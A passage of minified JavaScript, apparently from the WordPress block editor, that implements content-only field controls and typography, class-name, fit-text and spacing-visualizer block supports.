xk({isControl:e}={isControl:!1}){return(0,Lde.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:e?35:259}}}var TR=l(w(),1);function Nde({fields:e,visibleFields:t,onToggleField:o}){let{popoverProps:r}=xk();return!e||e.length===0?null:(0,TR.jsx)(wk.DropdownMenu,{icon:ks,label:(0,lz.__)(&quot;Options&quot;),popoverProps:r,toggleProps:{size:&quot;small&quot;},children:({onClose:n})=&gt;(0,TR.jsx)(wk.MenuGroup,{label:(0,lz.__)(&quot;Show / Hide&quot;),children:e.map(i=&gt;{let s=t.includes(i.id);return(0,TR.jsx)(wk.MenuItem,{isSelected:s,onClick:()=&gt;{o(i.id),n()},role:&quot;menuitemcheckbox&quot;,icon:s?gl:null,children:i.label},i.id)})})})}var IR=l(A(),1),Mde=l(Z(),1),Dde=l(F(),1),Ac=l(R(),1),Vde=l(dr(),1);var sa=l(w(),1),{useRichText:aOe}=M(Vde.privateApis);function Fde({data:e,field:t,hideLabelFromVision:o,onChange:r,config:n={}}){let i=(0,Dde.useRegistry)(),s=t.getValue({item:e}),a=t.config||{},{clientId:c}=n,[u,d]=(0,Ac.useState)({start:void 0,end:void 0}),[f,m]=(0,Ac.useState)(!1),h=(0,Ac.useRef)(),p=(0,Ac.useRef)(new Set),g=(0,Ac.useRef)(new Set),b=Cb({allowedFormats:a?.allowedFormats,disableFormats:a?.disableFormats});function v(){h.current?.focus()}let{value:k,getValue:y,onChange:S,ref:x,formatTypes:C}=aOe({value:s,onChange(P){r(t.setValue({item:e,value:P}))},selectionStart:u.start,selectionEnd:u.end,onSelectionChange:(P,E)=&gt;d({start:P,end:E}),__unstableIsSelected:f,preserveWhiteSpace:!!a?.preserveWhiteSpace,placeholder:a?.placeholder,__unstableDisableFormats:a?.disableFormats,allowedFormats:b,withoutInteractiveFormatting:a?.withoutInteractiveFormatting,__unstableFormatTypeHandlerContext:(0,Ac.useMemo)(()=&gt;({richTextIdentifier:t.id,blockClientId:c}),[t.id,c])}),{baseControlProps:B,controlProps:I}=(0,IR.useBaseControlProps)({hideLabelFromVision:o??t.hideLabelFromVision,label:t.label});return(0,sa.jsxs)(sa.Fragment,{children:[f&amp;&amp;(0,sa.jsx)(Pb.Provider,{value:g,children:(0,sa.jsx)(Ob.Provider,{value:p,children:(0,sa.jsx)(&quot;div&quot;,{children:(0,sa.jsx)(nP,{value:k,onChange:S,onFocus:v,formatTypes:C,forwardedRef:h,isVisible:!1})})})}),(0,sa.jsx)(IR.BaseControl,{...B,children:(0,sa.jsx)(&quot;div&quot;,{className:&quot;block-editor-content-only-controls__rich-text&quot;,role:&quot;textbox&quot;,&quot;aria-multiline&quot;:!a?.disableLineBreaks,ref:(0,Mde.useMergeRefs)([x,tP({registry:i,getValue:y,onChange:S,formatTypes:C,selectionChange:d,isSelected:f,disableFormats:a?.disableFormats,value:k,tagName:&quot;div&quot;,disableLineBreaks:a?.disableLineBreaks,keyboardShortcuts:g,inputEvents:p}),h]),onFocus:()=&gt;m(!0),onBlur:()=&gt;m(!1),contentEditable:!0,...I})})]})}var Sp=l(A(),1),zde=l(F(),1),Ck=l(N(),1);var Co=l(w(),1);function lOe({data:e,field:t,attachment:o,config:r}){let{allowedTypes:n=[],multiple:i=!1}=r||{};if(i)return&quot;todo multiple&quot;;if(o?.media_type===&quot;image&quot;||o?.poster)return(0,Co.jsx)(&quot;div&quot;,{className:&quot;block-editor-content-only-controls__media-thumbnail&quot;,children:(0,Co.jsx)(&quot;img&quot;,{alt:&quot;&quot;,width:24,height:24,src:o.media_type===&quot;image&quot;?o.source_url:o.poster})});if(n.length===1){let a=t.getValue({item:e})?.url;if(n[0]===&quot;image&quot;&amp;&amp;a)return(0,Co.jsx)(&quot;div&quot;,{className:&quot;block-editor-content-only-controls__media-thumbnail&quot;,children:(0,Co.jsx)(&quot;img&quot;,{alt:&quot;&quot;,width:24,height:24,src:a})});let c;if(n[0]===&quot;image&quot;?c=iv:n[0]===&quot;video&quot;?c=FN:n[0]===&quot;audio&quot;?c=HO:c=jp,c)return(0,Co.jsx)(Sp.Icon,{icon:c,size:24})}return(0,Co.jsx)(Sp.Icon,{icon:jp,size:24})}function jde({data:e,field:t,onChange:o,config:r={}}){let{popoverProps:n}=xk({isControl:!0}),i=t.getValue({item:e}),{allowedTypes:s=[],multiple:a=!1,useFeaturedImage:c=!1}=r,u=i?.id,d=i?.url,f=(0,zde.useSelect)(h=&gt;{if(!u)return;let g=h(_).getSettings()[x0];if(g)return g(h,u)},[u]),m;if(s.length===1){let h=s[0];h===&quot;image&quot;?m=(0,Ck.__)(&quot;Choose an image\u2026&quot;):h===&quot;video&quot;?m=(0,Ck.__)(&quot;Choose a video\u2026&quot;):h===&quot;application&quot;?m=(0,Ck.__)(&quot;Choose a file\u2026&quot;):m=(0,Ck.__)(&quot;Choose a media item\u2026&quot;)}else m=(0,Ck.__)(&quot;Choose a media item\u2026&quot;);return(0,Co.jsx)(Ds,{children:(0,Co.jsx)(_b,{className:&quot;block-editor-content-only-controls__media-replace-flow&quot;,allowedTypes:s,mediaId:u,mediaURL:d,multiple:a,popoverProps:n,onReset:()=&gt;{o(t.setValue({item:e,value:{}}))},...c&amp;&amp;{useFeaturedImage:!!i?.featuredImage,onToggleFeaturedImage:()=&gt;{o(t.setValue({item:e,value:{featuredImage:!i?.featuredImage}}))}},onSelect:h=&gt;{if(h.id&amp;&amp;h.url){let p={...h,mediaType:h.media_type};c&amp;&amp;(p.featuredImage=!1),o(t.setValue({item:e,value:p}))}},renderToggle:h=&gt;(0,Co.jsx)(Sp.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-content-only-controls__media&quot;,...h,children:(0,Co.jsxs)(Sp.__experimentalGrid,{rowGap:0,columnGap:8,templateColumns:&quot;24px 1fr&quot;,className:&quot;block-editor-content-only-controls__media-row&quot;,children:[d&amp;&amp;(0,Co.jsxs)(Co.Fragment,{children:[(0,Co.jsx)(lOe,{attachment:f,field:t,data:e,config:r}),(0,Co.jsx)(&quot;span&quot;,{className:&quot;block-editor-content-only-controls__media-title&quot;,children:f?.title?.raw&amp;&amp;f?.title?.raw!==&quot;&quot;?f?.title?.raw:d})]}),!d&amp;&amp;(0,Co.jsxs)(Co.Fragment,{children:[(0,Co.jsx)(&quot;span&quot;,{className:&quot;block-editor-content-only-controls__media-placeholder&quot;,style:{width:&quot;24px&quot;,height:&quot;24px&quot;}}),(0,Co.jsx)(&quot;span&quot;,{className:&quot;block-editor-content-only-controls__media-title&quot;,children:m})]})]})})})})}var Lc=l(A(),1),RR=l(R(),1),Ude=l(N(),1);var Hde=l(dn(),1);var yr=l(w(),1),cz=&quot;noreferrer noopener&quot;,Gde=&quot;_blank&quot;,PR=&quot;nofollow&quot;;function cOe({rel:e=&quot;&quot;,url:t=&quot;&quot;,opensInNewTab:o,nofollow:r}){let n,i=e;if(o)n=Gde,i=i?.includes(cz)?i:i+` ${cz}`;else{let s=new RegExp(`\\b${cz}\\s*`,&quot;g&quot;);i=i?.replace(s,&quot;&quot;).trim()}if(r)i=i?.includes(PR)?i:(i+` ${PR}`).trim();else{let s=new RegExp(`\\b${PR}\\s*`,&quot;g&quot;);i=i?.replace(s,&quot;&quot;).trim()}return{url:(0,Hde.prependHTTP)(t),linkTarget:n,rel:i||void 0}}function Wde({data:e,field:t,onChange:o}){let[r,n]=(0,RR.useState)(!1),{popoverProps:i}=xk({isControl:!0}),s=t.getValue({item:e}),a=s?.url,c=s?.rel||&quot;&quot;,d=s?.linkTarget===Gde,f=c===PR,m=(0,RR.useMemo)(()=&gt;({url:a,opensInNewTab:d,nofollow:f}),[a,d,f]);return(0,yr.jsxs)(yr.Fragment,{children:[(0,yr.jsx)(Lc.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-content-only-controls__link&quot;,onClick:()=&gt;{n(!0)},children:(0,yr.jsxs)(Lc.__experimentalGrid,{rowGap:0,columnGap:8,templateColumns:&quot;24px 1fr&quot;,className:&quot;block-editor-content-only-controls__link-row&quot;,children:[a&amp;&amp;(0,yr.jsxs)(yr.Fragment,{children:[(0,yr.jsx)(Lc.Icon,{icon:fn,size:24}),(0,yr.jsx)(&quot;span&quot;,{className:&quot;block-editor-content-only-controls__link-title&quot;,children:a})]}),!a&amp;&amp;(0,yr.jsxs)(yr.Fragment,{children:[(0,yr.jsx)(Lc.Icon,{icon:fn,size:24,style:{opacity:.3}}),(0,yr.jsx)(&quot;span&quot;,{className:&quot;block-editor-content-only-controls__link-title&quot;,children:(0,Ude.__)(&quot;Link&quot;)})]})]})}),r&amp;&amp;(0,yr.jsx)(Lc.Popover,{onClose:()=&gt;{n(!1)},...i??{},children:(0,yr.jsx)(Pd,{value:m,onChange:h=&gt;{let p=cOe({rel:c,...h});o(t.setValue({item:e,value:p}))},onRemove:()=&gt;{o(t.setValue({item:e,value:{}}))}})})]})}var Sr=l(w(),1),{fieldsKey:Yde,formKey:uz}=M(Bk.privateApis);function dz(e,t={}){return function(r){return(0,Sr.jsx)(e,{...r,config:t})}}function uOe({clientId:e,blockType:t,setAttributes:o,isCollapsed:r=!1}){let n=zr({clientId:e,context:&quot;list-view&quot;}),i=Tt(e),s=t?.[Yde],a=(0,sf.useContext)(xr),c=(0,$de.useSelect)(p=&gt;{let g=p(_).getBlockAttributes(e);if(!g?.metadata?.bindings)return g;let{getBlockBindingsSource:b}=M(p(Bk.store));return Object.entries(g.metadata.bindings).reduce((v,[k,y])=&gt;{let S=b(y.source);if(!S)return v;let x=S.getValues({select:p,context:a,bindings:{[k]:y}});return{...v,...x}},g)},[a,e]),u=(0,sf.useMemo)(()=&gt;r?{...t?.[uz],fields:[t?.[uz]?.fields?.[0]]}:t?.[uz],[t,r]),[d,f]=(0,sf.useState)(u),m=(0,sf.useMemo)(()=&gt;s?.length?s.map(p=&gt;{let g={...p};return typeof p.Edit==&quot;string&quot;&amp;&amp;p.Edit===&quot;rich-text&quot;?g.Edit=dz(Fde,{clientId:e}):typeof p.Edit==&quot;string&quot;&amp;&amp;p.Edit===&quot;link&quot;?g.Edit=dz(Wde):typeof p.Edit==&quot;object&quot;&amp;&amp;p.Edit.control===&quot;media&quot;&amp;&amp;(g.Edit=dz(jde,{...p.Edit})),g}):[],[s,e]);if(!s?.length)return null;let h=p=&gt;{f(g=&gt;g.fields?.includes(p)?{...g,fields:g.fields.filter(b=&gt;b!==p)}:{...g,fields:[...g.fields||[],p]})};return(0,Sr.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-fields__container&quot;,children:[(0,Sr.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-fields__header&quot;,children:(0,Sr.jsxs)(OR.__experimentalHStack,{spacing:1,children:[r&amp;&amp;(0,Sr.jsxs)(Sr.Fragment,{children:[(0,Sr.jsx)(Ae,{className:&quot;block-editor-block-fields__header-icon&quot;,icon:i?.icon}),(0,Sr.jsx)(&quot;h2&quot;,{className:&quot;block-editor-block-fields__header-title&quot;,children:(0,Sr.jsx)(OR.__experimentalTruncate,{numberOfLines:1,children:n})}),(0,Sr.jsx)(Nde,{fields:m,visibleFields:d.fields,onToggleField:h})]}),!r&amp;&amp;(0,Sr.jsx)(&quot;h2&quot;,{className:&quot;block-editor-block-fields__header-title&quot;,children:(0,Kde.__)(&quot;Content&quot;)})]})}),(0,Sr.jsx)(D_,{data:c,fields:m,form:d,onChange:o})]})}function dOe(e){return!!(window?.__experimentalContentOnlyInspectorFields&amp;&amp;(0,Bk.getBlockType)(e)?.[Yde])}function fOe(e){let{blockType:t,isSelectionWithinCurrentSection:o}=(0,sf.useContext)(ur);return(0,Sr.jsx)(Sm,{group:&quot;content&quot;,children:(0,Sr.jsx)(uOe,{...e,blockType:t,isCollapsed:o})})}var qde={edit:fOe,hasSupport:dOe,attributeKeys:[],supportsPatternEditing:!0};var pz=l(ut(),1),Zde=l(A(),1),fz=l(N(),1),V_=l($(),1);var mz=l(w(),1);function mOe(e){return(0,V_.hasBlockSupport)(e,&quot;customClassName&quot;,!0)&amp;&amp;(e.attributes={...e.attributes,className:{type:&quot;string&quot;}}),e}function pOe({className:e,setAttributes:t}){return ao()!==&quot;default&quot;?null:(0,mz.jsx)(fe,{group:&quot;advanced&quot;,children:(0,mz.jsx)(Zde.TextControl,{__next40pxDefaultSize:!0,autoComplete:&quot;off&quot;,label:(0,fz.__)(&quot;Additional CSS class(es)&quot;),value:e||&quot;&quot;,onChange:r=&gt;{t({className:r!==&quot;&quot;?r:void 0})},help:(0,fz.__)(&quot;Separate multiple classes with spaces.&quot;)})})}var hz={edit:pOe,addSaveProps:hOe,attributeKeys:[&quot;className&quot;],hasSupport(e){return(0,V_.hasBlockSupport)(e,&quot;customClassName&quot;,!0)}};function hOe(e,t,o){return(0,V_.hasBlockSupport)(t,&quot;customClassName&quot;,!0)&amp;&amp;o.className&amp;&amp;(e.className=V(e.className,o.className)),e}function gOe(e,t,o,r){if(!(0,V_.hasBlockSupport)(e.name,&quot;customClassName&quot;,!0)||r.length===1&amp;&amp;e.innerBlocks.length===t.length||r.length===1&amp;&amp;t.length&gt;1||r.length&gt;1&amp;&amp;t.length===1)return e;if(t[o]){let n=t[o]?.attributes.className;if(n&amp;&amp;e.attributes.className===void 0)return{...e,attributes:{...e.attributes,className:n}}}return e}(0,pz.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/custom-class-name/attribute&quot;,mOe);(0,pz.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/customClassName/addTransforms&quot;,gOe);var Xde=l(ut(),1),F_=l($(),1);function bOe(e,t){return(0,F_.hasBlockSupport)(t,&quot;className&quot;,!0)&amp;&amp;(typeof e.className==&quot;string&quot;?e.className=[...new Set([(0,F_.getBlockDefaultClassName)(t.name),...e.className.split(&quot; &quot;)])].join(&quot; &quot;).trim():e.className=(0,F_.getBlockDefaultClassName)(t.name)),e}(0,Xde.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;core/generated-class-name/save-props&quot;,bOe);var Ife=l(R(),1),Pfe=l(ut(),1),Dc=l($(),1),Rfe=l(Z(),1),Pk=l(Uv(),1);var xz=l($(),1),VR=l(R(),1),gfe=l(F(),1);var kOe=l($(),1);var vOe=l(w(),1),Qde=&quot;typography.lineHeight&quot;;var Jde=l(ut(),1),AR=l($(),1),efe=l(XE(),1),tfe=l(A(),1);var z_=&quot;typography.__experimentalFontFamily&quot;,{kebabCase:yOe}=M(tfe.privateApis);function SOe(e){return(0,AR.hasBlockSupport)(e,z_)&amp;&amp;(e.attributes.fontFamily||Object.assign(e.attributes,{fontFamily:{type:&quot;string&quot;}})),e}function ofe(e,t,o){if(!(0,AR.hasBlockSupport)(t,z_)||Ue(t,ds,&quot;fontFamily&quot;)||!o?.fontFamily)return e;let r=new efe.default(e.className);r.add(`has-${yOe(o?.fontFamily)}-font-family`);let n=r.value;return e.className=n||void 0,e}function _Oe({name:e,fontFamily:t}){return ofe({},e,{fontFamily:t})}var gz={useBlockProps:_Oe,addSaveProps:ofe,attributeKeys:[&quot;fontFamily&quot;],hasSupport(e){return(0,AR.hasBlockSupport)(e,z_)}};(0,Jde.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/fontFamily/addAttribute&quot;,SOe);var bz=l(ut(),1),Ek=l($(),1),rfe=l(XE(),1);var xOe=l(w(),1),_p=&quot;typography.fontSize&quot;;function wOe(e){return(0,Ek.hasBlockSupport)(e,_p)&amp;&amp;(e.attributes.fontSize||Object.assign(e.attributes,{fontSize:{type:&quot;string&quot;}})),e}function nfe(e,t,o){if(!(0,Ek.hasBlockSupport)(t,_p)||Ue(t,ds,&quot;fontSize&quot;))return e;let r=new rfe.default(e.className);r.add(hu(o.fontSize));let n=r.value;return e.className=n||void 0,e}function COe({name:e,fontSize:t,style:o}){let[r,n,i]=me(&quot;typography.fontSizes&quot;,&quot;typography.fluid&quot;,&quot;layout&quot;);if(!(0,Ek.hasBlockSupport)(e,_p)||Ue(e,ds,&quot;fontSize&quot;)||!t&amp;&amp;!o?.typography?.fontSize)return;let s;if(o?.typography?.fontSize&amp;&amp;(s={style:{fontSize:ec({size:o.typography.fontSize},{typography:{fluid:n},layout:i})}}),t&amp;&amp;(s={style:{fontSize:oh(r,t,o?.typography?.fontSize).size}}),!!s)return nfe(s,e,{fontSize:t})}var kz={useBlockProps:COe,addSaveProps:nfe,attributeKeys:[&quot;fontSize&quot;,&quot;style&quot;],hasSupport(e){return(0,Ek.hasBlockSupport)(e,_p)}},BOe={fontSize:[[&quot;fontSize&quot;],[&quot;style&quot;,&quot;typography&quot;,&quot;fontSize&quot;]]};function EOe(e,t,o,r){let n=e.name,i={fontSize:(0,Ek.hasBlockSupport)(n,_p)};return f2(i,BOe,e,t,o,r)}(0,bz.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/font/addAttribute&quot;,wOe);(0,bz.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/font-size/addTransforms&quot;,EOe);var LR=l(N(),1),Tk=l($(),1);var vz=l(w(),1),Ik=&quot;typography.textAlign&quot;,TOe=[{icon:Jc,title:(0,LR.__)(&quot;Align text left&quot;),align:&quot;left&quot;},{icon:Sf,title:(0,LR.__)(&quot;Align text center&quot;),align:&quot;center&quot;},{icon:eu,title:(0,LR.__)(&quot;Align text right&quot;),align:&quot;right&quot;}],ife=[&quot;left&quot;,&quot;center&quot;,&quot;right&quot;],IOe=[];function yz(e){return Array.isArray(e)?ife.filter(t=&gt;e.includes(t)):e===!0?ife:IOe}function POe({style:e,name:t,setAttributes:o}){let n=is(t)?.typography?.textAlign,i=ao();if(!n||i!==&quot;default&quot;)return null;let s=yz((0,Tk.getBlockSupport)(t,Ik));if(!s.length)return null;let a=TOe.filter(u=&gt;s.includes(u.align)),c=u=&gt;{let d={...e,typography:{...e?.typography,textAlign:u}};o({style:Me(d)})};return(0,vz.jsx)(Mt,{group:&quot;block&quot;,children:(0,vz.jsx)($w,{value:e?.typography?.textAlign,onChange:c,alignmentControls:a})})}var NR={edit:POe,useBlockProps:ROe,addSaveProps:OOe,attributeKeys:[&quot;style&quot;],hasSupport(e){return(0,Tk.hasBlockSupport)(e,Ik,!1)}};function ROe({name:e,style:t}){if(!t?.typography?.textAlign||!yz((0,Tk.getBlockSupport)(e,Ik)).length||Ue(e,ds,&quot;textAlign&quot;))return null;let r=t.typography.textAlign;return{className:V({[`has-text-align-${r}`]:r})}}function OOe(e,t,o){if(!o?.style?.typography?.textAlign)return e;let{textAlign:r}=o.style.typography,n=(0,Tk.getBlockSupport)(t,Ik);return yz(n).includes(r)&amp;&amp;!Ue(t,ds,&quot;textAlign&quot;)&amp;&amp;(e.className=V(`has-text-align-${r}`,e.className)),e}var _z=l(ut(),1),af=l($(),1),xp=l(R(),1),mfe=l(F(),1),j_=l(N(),1),MR=l(A(),1),pfe=l(Z(),1);function AOe(e,t){let o=e.scrollHeight&gt;e.clientHeight,r=0,n=2400,i=r,s=window.getComputedStyle(e),a=parseFloat(s.paddingLeft)||0,c=parseFloat(s.paddingRight)||0,u=document.createRange();u.selectNodeContents(e);let d=e,f=e.parentElement;if(f){let h=window.getComputedStyle(f);h?.display===&quot;flex&quot;&amp;&amp;(d=f,a+=parseFloat(h.paddingLeft)||0,c+=parseFloat(h.paddingRight)||0)}let m=d.clientHeight;for(;r&lt;=n;){let h=Math.floor((r+n)/2);t(h);let g=u.getBoundingClientRect().width,b=e.scrollWidth&lt;=d.clientWidth&amp;&amp;g&lt;=d.clientWidth-a-c,v=o||e.scrollHeight&lt;=d.clientHeight||e.scrollHeight&lt;=m;d.clientHeight&gt;m&amp;&amp;(m=d.clientHeight),b&amp;&amp;v?(i=h,r=h+1):n=h-1}return u.detach(),i}function sfe(e,t){if(!e)return;t(0);let o=AOe(e,t);return t(o),o}var afe=l(R(),1),lfe=l(N(),1),cfe=l(A(),1),ufe=l(Xo(),1),Sz=l(w(),1);function dfe(){let e=(0,lfe.__)(&quot;The text may be too small to read. Consider using a larger container or less text.&quot;);return(0,afe.useEffect)(()=&gt;{(0,ufe.speak)(e)},[e]),(0,Sz.jsx)(&quot;div&quot;,{className:&quot;block-editor-fit-text-size-warning&quot;,children:(0,Sz.jsx)(cfe.Notice,{spokenMessage:null,status:&quot;warning&quot;,isDismissible:!1,children:e})})}var Dn=l(w(),1),LOe={},NOe=12,Nc=&quot;typography.fitText&quot;;function MOe(e){return!(0,af.hasBlockSupport)(e,Nc)||e.attributes?.fitText?e:{...e,attributes:{...e.attributes,fitText:{type:&quot;boolean&quot;}}}}function DOe({fitText:e,name:t,clientId:o}){let[r,n]=(0,xp.useState)(null),i=(0,af.hasBlockSupport)(t,Nc),s=Xe(o),{blockAttributes:a,parentId:c,blockMode:u}=(0,mfe.useSelect)(f=&gt;{if(!o||!i||!e)return LOe;let m=f(_).getBlockMode(o);return m===&quot;html&quot;?{blockMode:m}:{blockAttributes:f(_).getBlockAttributes(o),parentId:f(_).getBlockRootClientId(o),blockMode:m}},[o,i,e]),d=(0,xp.useCallback)(()=&gt;{if(!s||!i||!e)return;let f=`fit-text-${o}`,m=s.ownerDocument.getElementById(f);m||(m=s.ownerDocument.createElement(&quot;style&quot;),m.id=f,s.ownerDocument.head.appendChild(m));let h=`#block-${o}`,g=sfe(s,b=&gt;{b===0?m.textContent=&quot;&quot;:m.textContent=`${h} { font-size: ${b}px !important; }`});n(g)},[s,o,i,e]);return(0,xp.useEffect)(()=&gt;{if(!e||!s||!o||!i||u===&quot;html&quot;)return;let f=s,m=f.style.visibility,h=null,p=null,g=null;h=window.requestAnimationFrame(()=&gt;{f.style.visibility=&quot;hidden&quot;,p=window.requestAnimationFrame(()=&gt;{d(),g=setTimeout(()=&gt;{f.style.visibility=m},10)})});let b;return window.ResizeObserver&amp;&amp;f.parentElement&amp;&amp;(b=new window.ResizeObserver(d),b.observe(f.parentElement),b.observe(f)),()=&gt;{h!==null&amp;&amp;window.cancelAnimationFrame(h),p!==null&amp;&amp;window.cancelAnimationFrame(p),g!==null&amp;&amp;clearTimeout(g),b&amp;&amp;b.disconnect();let v=`fit-text-${o}`,k=f.ownerDocument.getElementById(v);k&amp;&amp;k.remove()}},[e,o,c,d,s,i,u]),(0,xp.useEffect)(()=&gt;{if(e&amp;&amp;s&amp;&amp;i&amp;&amp;u!==&quot;html&quot;){let f=window.requestAnimationFrame(()=&gt;{s&amp;&amp;d()});return()=&gt;window.cancelAnimationFrame(f)}},[a,e,d,s,i,u]),{fontSize:r}}function ffe({clientId:e,fitText:t=!1,setAttributes:o,name:r,fontSize:n,style:i,warning:s}){return(0,af.hasBlockSupport)(r,Nc)?(0,Dn.jsx)(fe,{group:&quot;typography&quot;,children:(0,Dn.jsxs)(MR.__experimentalToolsPanelItem,{hasValue:()=&gt;t,label:(0,j_.__)(&quot;Fit text&quot;),onDeselect:()=&gt;o({fitText:void 0}),resetAllFilter:()=&gt;({fitText:void 0}),panelId:e,children:[(0,Dn.jsx)(MR.ToggleControl,{label:(0,j_.__)(&quot;Fit text&quot;),checked:t,onChange:()=&gt;{let a=!t||void 0,c={fitText:a};a&amp;&amp;(n&amp;&amp;(c.fontSize=void 0),i?.typography?.fontSize&amp;&amp;(c.style={...i,typography:{...i?.typography,fontSize:void 0}})),o(c)},help:t?(0,j_.__)(&quot;Text will resize to fit its container.&quot;):(0,j_.__)(&quot;The text will resize to fit its container, resetting other font size settings.&quot;)}),s]})}):null}function VOe(e,t,o){if(!(0,af.hasBlockSupport)(t,Nc))return e;let{fitText:r}=o;if(!r)return e;let n=e.className?`${e.className} has-fit-text`:&quot;has-fit-text&quot;;return{...e,className:n}}function FOe({name:e,fitText:t}){return t&amp;&amp;(0,af.hasBlockSupport)(e,Nc)?{className:&quot;has-fit-text&quot;}:{}}(0,_z.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/fit-text/addAttribute&quot;,MOe);var zOe=e=&gt;(0,af.hasBlockSupport)(e,Nc);function jOe({fitText:e,name:t,clientId:o,children:r}){let{fontSize:n}=DOe({fitText:e,name:t,clientId:o});return r(n)}var UOe=(0,pfe.createHigherOrderComponent)(e=&gt;function(o){let{name:r,attributes:n,clientId:i,isSelected:s,setAttributes:a}=o,{fitText:c}=n;return(0,af.hasBlockSupport)(r,Nc)?(0,Dn.jsxs)(Dn.Fragment,{children:[(0,Dn.jsx)(e,{...o}),c&amp;&amp;(0,Dn.jsx)(jOe,{fitText:c,name:r,clientId:i,children:d=&gt;s&amp;&amp;(0,Dn.jsx)(ffe,{clientId:i,fitText:c,setAttributes:a,name:r,fontSize:n.fontSize,style:n.style,warning:d&lt;NOe&amp;&amp;(0,Dn.jsx)(dfe,{})})}),!c&amp;&amp;s&amp;&amp;(0,Dn.jsx)(ffe,{clientId:i,fitText:c,setAttributes:a,name:r,fontSize:n.fontSize,style:n.style})]}):(0,Dn.jsx)(e,{...o})},&quot;addFitTextControl&quot;);(0,_z.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/fit-text/add-fit-text-control&quot;,UOe);var DR={useBlockProps:FOe,addSaveProps:VOe,attributeKeys:[&quot;fitText&quot;,&quot;fontSize&quot;,&quot;style&quot;],hasSupport:zOe,edit:()=&gt;null};var wz=l(w(),1);function hfe(e,t){return Object.fromEntries(Object.entries(e).filter(([o])=&gt;!t.includes(o)))}var HOe=&quot;typography.__experimentalLetterSpacing&quot;,GOe=&quot;typography.__experimentalTextTransform&quot;,WOe=&quot;typography.__experimentalTextDecoration&quot;,$Oe=&quot;typography.textIndent&quot;,KOe=&quot;typography.textColumns&quot;,YOe=&quot;typography.__experimentalFontStyle&quot;,qOe=&quot;typography.__experimentalFontWeight&quot;,ZOe=&quot;typography.__experimentalWritingMode&quot;,ds=&quot;typography&quot;,bfe=[Qde,_p,YOe,qOe,z_,Ik,KOe,WOe,$Oe,ZOe,GOe,HOe,Nc];function kfe(e){let t={...hfe(e,[&quot;fontFamily&quot;])},o=e?.typography?.fontSize,r=e?.typography?.fontFamily,n=typeof o==&quot;string&quot;&amp;&amp;o?.startsWith(&quot;var:preset|font-size|&quot;)?o.substring(21):void 0,i=r?.startsWith(&quot;var:preset|font-family|&quot;)?r.substring(23):void 0;return t.typography={...hfe(t.typography,[&quot;fontFamily&quot;]),fontSize:n?void 0:o},{style:Me(t),fontFamily:i,fontSize:n}}function vfe(e){return{...e.style,typography:{...e.style?.typography,fontFamily:e.fontFamily?&quot;var:preset|font-family|&quot;+e.fontFamily:void 0,fontSize:e.fontSize?&quot;var:preset|font-size|&quot;+e.fontSize:e.style?.typography?.fontSize}}}function XOe({children:e,resetAllFilter:t}){let o=(0,VR.useCallback)(r=&gt;{let n=vfe(r),i=t(n);return{...r,...kfe(i)}},[t]);return(0,wz.jsx)(fe,{group:&quot;typography&quot;,resetAllFilter:o,children:e})}function yfe({clientId:e,name:t,setAttributes:o,settings:r}){let n=RP(r),{style:i,fontFamily:s,fontSize:a,fitText:c}=(0,gfe.useSelect)(m=&gt;{if(!n)return{};let{style:h,fontFamily:p,fontSize:g,fitText:b}=m(_).getBlockAttributes(e)||{};return{style:h,fontFamily:p,fontSize:g,fitText:b}},[e,n]),u=(0,VR.useMemo)(()=&gt;vfe({style:i,fontFamily:s,fontSize:a}),[i,a,s]),d=m=&gt;{let h=kfe(m);(h.fontSize||h.style?.typography?.fontSize)&amp;&amp;c&amp;&amp;(h.fitText=void 0),o(h)};if(!n)return null;let f=(0,xz.getBlockSupport)(t,[ds,&quot;__experimentalDefaultControls&quot;]);return(0,wz.jsx)(OP,{as:XOe,panelId:e,settings:r,value:u,onChange:d,defaultControls:f})}var cf=l(R(),1),zR=l(F(),1),FR=l($(),1),Cfe=l(Re(),1);var cl=l(R(),1),Sfe=l(Jy(),1);var U_=l(w(),1);function _fe({clientId:e,value:t,computeStyle:o,forceShow:r}){let n=Xe(e),[i,s]=(0,cl.useReducer)(()=&gt;o(n));(0,cl.useEffect)(()=&gt;{n&amp;&amp;r&amp;&amp;s()},[n,r]),(0,cl.useEffect)(()=&gt;{if(!n)return;let d=new window.MutationObserver(s);return d.observe(n,{attributes:!0,attributeFilter:[&quot;style&quot;,&quot;class&quot;]}),()=&gt;{d.disconnect()}},[n]);let a=(0,cl.useRef)(t),[c,u]=(0,cl.useState)(!1);return(0,cl.useEffect)(()=&gt;{if((0,Sfe.isShallowEqual)(t,a.current)||r)return;u(!0),a.current=t;let d=setTimeout(()=&gt;{u(!1)},400);return()=&gt;{u(!1),clearTimeout(d)}},[t,r]),!c&amp;&amp;!r?null:(0,U_.jsx)(Hi,{clientId:e,__unstablePopoverSlot:&quot;block-toolbar&quot;,children:(0,U_.jsx)(&quot;div&quot;,{className:&quot;block-editor__spacing-visualizer&quot;,style:i})})}function lf(e,t){return e.ownerDocument.defaultView.getComputedStyle(e).getPropertyValue(t)}function xfe({clientId:e,value:t,forceShow:o}){return(0,U_.jsx)(_fe,{clientId:e,value:t?.spacing?.margin,computeStyle:r=&gt;{let n=lf(r,&quot;margin-top&quot;),i=lf(r,&quot;margin-right&quot;),s=lf(r,&quot;margin-bottom&quot;),a=lf(r,&quot;margin-left&quot;);return{borderTopWidth:n,borderRightWidth:i,borderBottomWidth:s,borderLeftWidth:a,top:n?`-${n}`:0,right:i?`-${i}`:0,bottom:s?`-${s}`:0,left:a?`-${a}`:0}},forceShow:o})}function 